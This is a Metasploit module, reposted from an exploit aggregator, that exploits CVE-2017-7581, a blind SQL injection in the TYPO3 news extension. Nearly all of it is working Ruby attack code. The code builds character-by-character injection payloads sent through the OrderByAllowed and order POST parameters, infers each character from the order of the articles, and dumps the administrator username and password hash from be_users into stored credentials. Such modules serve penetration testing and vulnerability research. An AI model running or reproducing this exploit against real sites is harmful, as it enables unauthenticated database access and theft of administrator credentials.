Share
## https://sploitus.com/exploit?id=PACKETSTORM:180884
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'TYPO3 News Module SQL Injection',  
'Description' => %q{  
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php  
in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary  
SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection  
can be used to obtain password hashes for application user accounts. This module has been  
tested on TYPO3 3.16.0 running news extension 5.0.0.  
  
This module tries to extract username and password hash of the administrator user.  
It tries to inject sql and check every letter of a pattern, to see  
if it belongs to the username or password it tries to alter the ordering of results. If  
the letter doesn't belong to the word being extracted then all results are inverted  
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs  
to the word being extracted then the results are in proper order (News #1 appears before News #2,  
so Pattern1 before Pattern2)  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Marco Rivoli', # MSF code  
'Charles Fol' # initial discovery, POC  
],  
'References' => [  
['CVE', '2017-7581'],  
['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'DisclosureDate' => '2017-04-06'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path of TYPO3', '/']),  
OptString.new('ID', [true, 'The id of TYPO3 news page', '1']),  
OptString.new('PATTERN1', [false, 'Pattern of the first article title', 'Article #1']),  
OptString.new('PATTERN2', [false, 'Pattern of the second article title', 'Article #2'])  
]  
)  
end  
  
def dump_the_hash(patterns = {})  
ascii_charset_lower = 'a'.upto('z').to_a.join('')  
ascii_charset_upper = 'A'.upto('Z').to_a.join('')  
ascii_charset = "#{ascii_charset_lower}#{ascii_charset_upper}"  
digit_charset = '0'.upto('9').to_a.join('')  
full_charset = "#{ascii_charset}#{digit_charset}$./"  
  
username = blind('username', 'be_users', 'uid=1', ascii_charset, digit_charset, patterns)  
print_good("Username: #{username}")  
password = blind('password', 'be_users', 'uid=1', full_charset, digit_charset, patterns)  
print_good("Password Hash: #{password}")  
  
connection_details = {  
module_fullname: fullname,  
username: username,  
private_data: password,  
private_type: :nonreplayable_hash,  
workspace_id: myworkspace_id  
}.merge!(service_details)  
credential_core = create_credential(connection_details)  
login_data = {  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED,  
workspace_id: myworkspace_id  
}.merge(service_details)  
create_credential_login(login_data)  
end  
  
def blind(field, table, condition, charset, digit_charset, patterns = {})  
# Adding 9 so that the result has two digits, If the length is superior to 100-9 it won't work  
offset = 9  
size = blind_size("length(#{field})+#{offset}",  
table,  
condition,  
2,  
digit_charset,  
patterns)  
size = size.to_i - offset  
vprint_status("Retrieving field '#{field}' string (#{size} bytes)...")  
data = blind_size(field,  
table,  
condition,  
size,  
charset,  
patterns)  
data  
end  
  
def select_position(field, table, condition, position, char)  
payload1 = "select(#{field})from(#{table})where(#{condition})"  
payload2 = "ord(substring((#{payload1})from(#{position})for(1)))"  
payload3 = "uid*(case((#{payload2})=#{char.ord})when(1)then(1)else(-1)end)"  
payload3  
end  
  
def blind_size(field, table, condition, size, charset, patterns = {})  
str = ''  
for position in 0..size  
for char in charset.split('')  
payload = select_position(field, table, condition, position + 1, char)  
if test(payload, patterns)  
str += char.to_s  
break  
end  
end  
end  
str  
end  
  
def test(payload, patterns = {})  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'id' => datastore['ID'],  
'no_cache' => '1'  
},  
'vars_post' => {  
'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload,  
'tx_news_pi1[search][maximumDate]' => '', # Not required  
'tx_news_pi1[overwriteDemand][order]' => payload,  
'tx_news_pi1[search][subject]' => '',  
'tx_news_pi1[search][minimumDate]' => '' # Not required  
}  
})  
rescue Rex::ConnectionError, Errno::CONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
if res && res.code == 200 && !(res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?)  
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])  
end  
  
false  
end  
  
def try_autodetect_patterns  
print_status('Trying to automatically determine Pattern1 and Pattern2...')  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'id' => datastore['ID'],  
'no_cache' => '1'  
}  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return '', ''  
end  
  
if res && res.code == 200  
news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]')  
pattern1 = news[0].nil? ? '' : news[0].search('span[@itemprop="headline"]').text  
pattern2 = news[1].nil? ? '' : news[1].search('span[@itemprop="headline"]').text  
end  
  
if pattern1.to_s.eql?('') || pattern2.to_s.eql?('')  
print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user specified values...")  
pattern1 = datastore['PATTERN1']  
pattern2 = datastore['PATTERN2']  
end  
  
print_status("Pattern1: #{pattern1}, Pattern2: #{pattern2}")  
return pattern1, pattern2  
end  
  
def run  
pattern1, pattern2 = try_autodetect_patterns  
if pattern1 == '' || pattern2 == ''  
print_error('Unable to determine pattern, aborting...')  
else  
dump_the_hash(pattern1: pattern1, pattern2: pattern2)  
end  
end  
end